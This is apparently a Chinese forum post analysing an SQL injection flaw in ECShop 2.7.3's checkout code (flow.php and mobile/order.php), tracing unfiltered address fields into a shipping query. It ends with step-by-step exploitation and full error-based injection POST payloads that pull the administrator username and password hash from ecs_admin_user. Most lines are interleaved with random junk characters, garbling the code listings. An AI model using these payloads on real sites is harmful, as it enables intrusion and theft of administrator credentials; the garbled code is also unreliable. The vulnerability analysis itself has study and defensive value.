前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
& a6 ]8 e* \' B0 S* [) p8 ~) K! v* b' M. U* U3 a+ e6 `& a
漏洞关键文件:
0 k1 E8 m5 k7 r) e2 x8 E7 G3 K: y. u) R* D. A; y
/includes/lib_order.php
" u$ w, x+ e* S& ?3 |- z) d. L# |
关键函数:+ f3 G8 x9 o/ d* L. Z" @. X4 H' N
! a0 I( Y K; H5 k& H+ M
9 s9 w8 A$ {% {: s4 c9 \; Y* s" X* z9 c' P4 y: q
01 function available_shipping_list($region_id_list)
5 y1 k7 {% f9 C9 _! M
. A: x; \ ?( e02 { 6 q2 T$ S2 Y# \1 Z! |' {! s
, z/ A% D+ P, Y& {2 N9 [$ z
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
* v% S7 E7 l" \- s/ C' {, m
0 U0 x1 [0 C" N% Y04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . ; a. M F" u l5 z6 Q8 L- T
T& W7 Q% @6 T! S05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
, D1 r& ^+ o# U0 R) m0 a1 h* W6 ~3 `/ B% S4 \' K/ ?
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . ( s$ e( U1 _& d; S% c
3 l4 d/ Y( g' q7 h0 E07 $GLOBALS['ecs']->table('area_region') . ' AS r '. ( {2 e4 K C. n* i$ R6 n C9 R
3 ?/ V u0 g9 g( f) M' g08 'WHERE r.region_id ' . db_create_in($region_id_list) . 1 z' O1 X1 \" g# t* F
7 i+ C9 _+ X, O/ S3 C) L+ r
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; " G0 p7 i- Z! |$ a1 }
+ Z4 Z9 p% E8 F3 }% @' r
10
5 ]# Q4 X7 g6 x+ |, x0 x/ ]
/ c. Z0 T+ n8 a% `* x( G, w11 return $GLOBALS['db']->getAll($sql);
# V' \1 k/ ~' X4 m3 E' I2 S+ m' r) g3 Q( m5 R" p" {
12 }
* \9 h. i/ S& A. n$ G5 i) ~9 B$ a$ V9 K, v! c$ R
显然对传入的参数没有任何过滤就带入了查询语句。
- k, D6 h+ @; m3 Q4 U, T, C
5 B" p) {: I$ T9 P, o下面我们追踪这个函数在flow.php中:2 p# [( ?6 B( P2 ]
第531行:
/ z+ o4 W: M2 ]* @1 J7 ?& p& m* p( F
% W8 c0 E: B9 o* n) b$ c. s4 P" `1 $shipping_list = available_shipping_list($region); , o0 d! Z$ x7 a3 e( L1 Y
( \2 r) G2 h) \0 e6 D9 n
0 ?' _% D6 [/ B" h2 v( `2 k
/ e" R6 S' ~% }$ M8 x& w" d1 M
8 n0 u$ A) W/ I0 ]- u, _5 J% T: D) H# m+ e
再对传入变量进行追踪:
7 z- ?( E6 O. \+ u
c- t, z |- n9 v# S7 S& p第530行:
2 F5 Z% o8 L/ V# O4 V, \$ k; k+ J, B: x5 A" B. N
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); + r3 I% i3 a) @% F1 C4 w& `$ K8 p
6 \, u$ V$ I9 ]5 h1 W) v/ q . I+ v6 ~( h- ]
) w/ U7 j/ A7 h. s. e 4 J/ q8 ]% q' p! B' E% k
. R( a, Z, G9 S& Z$ |第473行:
$ E( ~" K! N, K! A$ q$ B8 _+ m" S% N
1 $consignee = get_consignee($_SESSION['user_id']); 1 O8 }' G, m' X/ m2 ?3 _* X6 O
( o3 r- J1 Q7 I" k+ X+ w9 y# Q
到了一个关键函数:
# @, E" I1 X3 w0 x
$ e& O! L; F. o# C0 V- V/includes/lib_order.php
% e0 O9 b$ o2 _0 G/ A# Y; |7 d$ y
" M! X& {5 j1 X. T& S1 Q
, t3 t" P g0 o2 n2 L; C
: k+ Y$ [9 `6 C0 h+ v* y4 g. B! b
. P- E# r. [! ^2 L8 X |# ~4 P+ ~/ L' A2 l/ B9 \4 J% ~3 L7 [! E
01 function get_consignee($user_id) * [% {4 h7 T4 X
9 p, a8 L- a' |) h02 {
+ h7 i& E1 [6 y: `5 T5 w$ _8 l" `7 I
03 if (isset($_SESSION['flow_consignee'])) & D# q3 A/ I+ O! a$ i H1 E
' Z7 ~! ]2 N- X9 r04 {
; M9 ?! S0 `) f
: R3 g k/ x2 m( b05 /* 如果存在session,则直接返回session中的收货人信息 */ + q4 o3 u# y) T7 R* T: L* M
} x v; x' D$ T
06 2 n( j" P) y I9 X* ]$ ?" \5 i' J
, ?) ^/ M, O1 \; P7 B3 a+ W07 return $_SESSION['flow_consignee']; ! N, h. n, ?7 Y0 b& D: g- D% B
% D1 z3 J' l# m5 r. r5 j2 b08 }
+ v' m4 \6 n! e. h% `) {
|) \2 B1 U( I& K8 B$ w+ V09 else : {5 ^% V0 F! a4 r) `4 q
/ f" G% d7 y- T( F! k* b10 {
& _& @8 Q4 D; ~ X3 P; k/ E1 z0 _5 R* j1 D
11 /* 如果不存在,则取得用户的默认收货人信息 */ 8 n) C0 W- W% E' k+ u7 l& ^0 Y
7 }$ S" [! ?2 E7 R5 v; k# x2 t+ A
12 $arr = array();
6 @+ S- z D z
0 [9 V: x8 H8 `13
% @; ]0 X9 \9 E( R/ f {* e- S
5 X* l/ S2 M7 j! }2 C+ h& o9 S9 y14 if ($user_id > 0) # y: n% ]% k- C7 [9 r. T
$ j2 h$ B9 [$ x4 H5 |8 ~% S9 f
15 { 8 d& X) [2 x1 o5 a$ l
& d8 Q- D1 C1 @ n4 D# K \
16 /* 取默认地址 */
# P! h- J- W8 b9 ?% N' Y2 S7 V" M# ^ h: p Q0 t
17 $sql = "SELECT ua.*". * I4 ~# \' z4 }. X, p" [8 w' \& L
2 n, O+ Z3 O' W/ y0 b
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
; a9 H" B: L% K0 ]& q$ _) K
7 G7 c6 @# G( @19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; " [4 `0 @2 K" _) H6 O
% u( g% o& h1 A
20
) k6 R4 @5 ^2 x Q) M, p% w& r8 ]! R- h# o) e: N
21 $arr = $GLOBALS['db']->getRow($sql);
! ]4 J0 P% |. l: R9 X0 V! w
, Z" d6 c" h4 y: T# y# t6 z22 }
4 x/ ^- z Q$ z8 F3 G9 H& [$ x. y- G8 U; z. d9 `6 c9 L F
23
) G0 N$ K" n+ F
# H N) I- H5 u; Z9 h# z; t" L* c24 return $arr;
0 \( R8 ~/ Z; |0 l. s' l# {! e4 m8 g) Y
25 }
2 C; q! }, D* A: v$ X2 ]$ Z3 Z- R2 W2 z4 W/ n* W4 A. N
26 }
: D4 V% l, W$ {# p$ B* S( m8 Y3 ~' T* m. Y0 ?) J
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?; p: D+ s9 ?' F% n: c1 a
- R" N5 w3 p; Q# F m , A1 g; J( F" {' j
1 H. e) d8 Q& ~
关键点:
& F: K B( Z6 b+ \
; K& P) U9 J: @5 c: a第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
2 B Z) O. v, \2 R/ A% f3 q
, H; {7 O4 G3 R. ^& w这里对传入参数反转义存入$_SESSION中。
' [# _! C) w& I' j- A
8 c7 V; Y# _0 j6 y; U; d; \ I8 m. j& `* o1 l; p
* K5 a2 t& e" F% Y" R. ?0 J然后看下:# L& H, M; k/ m
+ I, i) l/ @+ C
2 G5 I: D j3 `- w% U
# H' f! U! U J! N2 v8 O. W. N
7 [+ P7 I1 D$ f6 Q/ [
1 m" k" Q% u: M# F01 $consignee = array(
( l- `! y: }' b+ o# |5 z* G0 F1 d5 n4 v0 ]
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
4 ~8 k0 p6 T! |; \( O
4 F# a3 o9 h5 _/ r5 U# \03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), % C" C( k, p$ z% U
+ d6 b3 U& m' R9 j04 'country' => empty($_POST['country']) ? '' _POST['country'],
" f3 C3 i0 j0 G+ |! v* v
- k# n7 a( _5 i' u7 r# T05 'province' => empty($_POST['province']) ? '' _POST['province'],
+ V1 e! S5 s6 ? X" s# O2 w7 @
- Z( G$ F% V8 o( I' U. \. L06 'city' => empty($_POST['city']) ? '' _POST['city'],
8 a! O" y5 C& D) G6 |
) m$ w) C+ S9 Y. C07 'district' => empty($_POST['district']) ? '' _POST['district'], 2 p4 R& k- e$ ?! R
4 d& y/ x( {9 {$ M/ X3 L1 g2 b! H' u! e08 'email' => empty($_POST['email']) ? '' _POST['email'],
3 b Q/ ~3 P" |5 h+ i ^0 S
8 P# q2 z# m9 h; K& v! o09 'address' => empty($_POST['address']) ? '' _POST['address'], % e: }7 A1 m/ N7 w7 W+ e
+ V* S* r& |) m' h
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), 3 b6 o) }2 E* m; Z
+ P: U; u4 Q) k3 \" V5 t
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), + j- `" |6 v3 a) V1 H2 F
# g* K2 ^( z9 }" F12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), 9 I. [4 S$ o0 c- n+ }. n, O
: Y% [! _; k5 H, u) {! Z
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 5 Z1 v9 g2 x- p4 e5 m+ R& w7 w
( N' @6 k& L8 r9 r' j% G14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
& C! G6 U# u. P8 h: U6 _/ r( {- I% a. ^+ n4 m. V) v) T& g3 U5 o
15 ); + \: M4 G/ `' r/ K+ s
1 Y& T5 |9 Z3 j7 B好了注入就这样出现了。6 N" v n0 K l
3 X. C+ q" a; I% D
==================7 n: ]1 w+ X5 m! o5 Z8 o/ c. n
% d0 Z% g% ~ ^8 D; [$ n4 d注入测试:/ t, W# ?. C4 Z" G6 Q
) s+ [1 e2 a" N2 c4 e
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
+ D0 a7 L( r3 k4 Q$ Y
. p. X& C" @( _1 \! [+ R1 e测试程序:ECShop_V2.7.3_UTF8_release1106$ e, {$ J# P' D
' P# m/ G( F. @9 N. X* s$ r
7 r' M/ R* d' {+ d! H1 [
" b y7 d7 s) H, K1 a
1.首先需要点击一个商品加入购物车
, }) d" u- ?( Y# I% s) e# w2 F/ }! @& c5 f
2.注册一个会员帐号+ @6 V) f# g% G0 @
( d) ?! n/ k6 ]- g/ Y8 ]- }9 j2 ^3.post提交数据9 f' \! ^( t2 E: W, w
0 @1 ?4 v: s2 x; k" y. `& l
9 T2 ~; f) O9 s1 i, ^$ G; m8 b6 v h* `3 L3 b* y
1 http://127.0.0.1/ecshop/flow.php
/ D7 x) G$ \; q% a- p
- u# T! |+ { Z% J% ]- n# }# X2
, G1 L% R8 L% P& w8 i) O5 L" J3 C5 T, G) y* R/ H x% a/ S1 f5 H g
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= 3 @+ r4 m/ h8 ^0 V6 }8 ^" G
举一反三,我们根据这个漏洞我们可以继续深入挖掘:& ~9 }3 E8 W% t3 W: t
* V' I& K$ o" L6 d0 g% a
我们搜寻关键函数function available_shipping_list()1 G: j( b: W& a, _2 [) E
( `3 s9 O4 P" u- _6 O
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
; |# T- \8 ]2 f9 j8 Z# S: b9 L9 S( ]; `5 d2 q" M' U! @- @
利用exp:- z8 P5 G' v: k
0 V7 t/ }; F" m# h3 h% x- t, k
1.点击一个商品,点击购买商标
, ?6 O( o! O6 R$ z0 I
, R) R+ N* ?- b2.登录会员帐号
1 R5 n5 k' D3 K; n( h* T+ ]
4 \+ ]2 x" s/ U' c+ B. G/ q3.post提交:7 x* Q# j. _) Z: f! I
+ k7 }4 \$ `1 v" k2 Y
http://127.0.0.1/ecshop/mobile/order.php
9 j/ B m* }$ K5 S
7 w( [' Q8 m$ n, u* P) f 4 b u @/ h' S9 |3 Y- `" P- o' S
# _8 C3 j4 J) E: o( s
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
* v: p: ~- Y9 z! ^( h) a0 x
" E1 R H: ~( i4 b |